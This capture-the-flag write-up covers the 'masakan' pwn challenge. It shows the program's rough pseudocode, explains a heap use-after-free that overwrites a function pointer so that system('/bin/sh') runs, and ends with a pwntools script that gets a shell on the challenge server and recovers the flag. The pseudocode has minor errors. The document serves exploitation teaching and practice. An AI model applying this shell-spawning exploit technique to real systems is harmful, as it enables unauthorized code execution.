masakan (pwn)
Yep just nc 45.76.161.20 40076
The pseudocode of the program looks like this
typedef struct Food {
void* func;
char* name;
char* contents;
} Food;
int num_food = 0;
Food* foods[6];
void main() {
char* choice_buf;
while(true) {
read(0, choice, 4);
switch(atoi(choice)) {
case 1:
masak();
break;
case 2:
buang();
break;
case 3:
hidang();
break;
case 4:
exit(0);
break;
}
}
}
void print_food(Food* food) {
puts(food->contents);
}
void win(Food* food) {
system(food->contents);
}
void masak() {
if (num_food >= 6) return;
for (int i = 0; i < 6; ++i) {
if (!foods[i]) {
foods[i] = malloc(0x18);
foods[i]->func = print_food;
foods[i]->name = malloc(100);
read(0, foods[i]->name, 99);
char* size; read(0, size; 4);
foods[i]->content = malloc(atoi(size));
read(0, foods[i]->content, atoi(size));
puts("Siap!");
break;
}
}
}
void buang() {
char* index_buf; read(0, index, 4);
int index = atoi(index_buf);
if (foods[index]) {
free(foods[index]->contents);
free(foods[index]);
puts("Tak sedap ye dik!");
}
}
void hidang() {
char* index_buf; read(0, index, 4);
int index = atoi(index_buf);
if (foods[index]) {
foods[index]->func(&foods[index]);
}
}
In summary,
masak
lets us create aFood
object that containsfunc
a function pointer toprint_food
,name
a buffer of size 100,contents
a buffer of size that we choose.buang
tofree
aFood
object from the heaphidang
to call thefunc
function of a chosenFood
object
It is interesting that a function is assigned to each Food
object. What if we can overwrite that function pointer with something else, say win
, then we can call system
on anything we want? There is a use-after-free vulnerability that allows us to do this.
Although through buang()
the Food
objects are free
‘d, but foods
still contains a pointer to these memory regions. So we just need to make sure after calling buang()
, we call masak()
in such a way that malloc
will give us the address of one of the Food
objects, then we can overwrite the func
value of that Food
object.
It is possible to get the address of the previous Food
objects from malloc
because for small objects, when they are free
‘d, they will be put to the end of a free list. When malloc
is called, it will check the free list and take an address from there if it is not empty.
This is the way I did it.
- Create 2
Food
objects withcontents
of any size that is not 0x18 (e.g 100) and write/bin/sh
into them buang
these 2Food
s- Create another
Food
object withcontents
of size 0x18 - Write address of
win
intocontents
- Get shell
This is how it will look like
1. Create the 2 Food
objects
Food1
+------------+
| print_food |
+------------+ +-------+
| name +------->+ food1 |
+------------+ +------+--+
| contents +------->+ /bin/sh |
+------------+ +---------+
Food2
+------------+
| print_food |
+------------+ +-------+
| name +------->+ food2 |
+------------+ +------+--+
| contents +------->+ /bin/sh |
+------------+ +---------+
2. Free the 2 Food
objects
free-list for size 0x18: (top is last freed object)
Food2
Food1
3. Create a Food
object
Food1
+------------+
+--->+ print_food |
| +------------+ +-------+
| | name +------> | food1 |
| +------------+ +-------+-+
| | contents +------> | /bin/sh |
| +------------+ +---------+
|
| Food2/3
| +------------+
| | print_food |
| +------------+ +-------+
| | name +------> | food3 |
| +------------+ +-------+
| | contents +------+
| +------------+ |
| |
+------------------------+
Food2
and Food3
share the same memory region because malloc
will return the address of Food2
first, as it is at the top of the free list. Then when malloc
is called again with size 0x18 for contents
of Food3
, it will get the address of Food1
.
Now it is quite straightforward, write address win
into contents
of Food3
, then call hidang
on Food1
so that the program does system("/bin/sh")
.
from pwn import *
# r = process("./masakan")
r = remote("45.76.161.20", 40076)
r.sendlineafter(":", "1")
r.sendlineafter(":", "/bin/sh")
r.sendlineafter(":", "100")
r.sendlineafter(":", "ok")
r.sendlineafter(":", "1")
r.sendlineafter(":", "/bin/sh")
r.sendlineafter(":", "100")
r.sendlineafter(":", "ok")
r.sendlineafter(":", "2")
r.sendlineafter(":", "0")
r.sendlineafter(":", "2")
r.sendlineafter(":", "1")
r.sendlineafter(":", "1")
r.sendlineafter(":", "/bin/sh")
r.sendlineafter(":", "24")
r.sendlineafter(":", p64(0x400c5b))
r.sendlineafter(":", "3")
r.sendlineafter(":", "0")
r.interactive()
# wgmy{58f6a8614a5dbe8f0cec6358e34bccc2}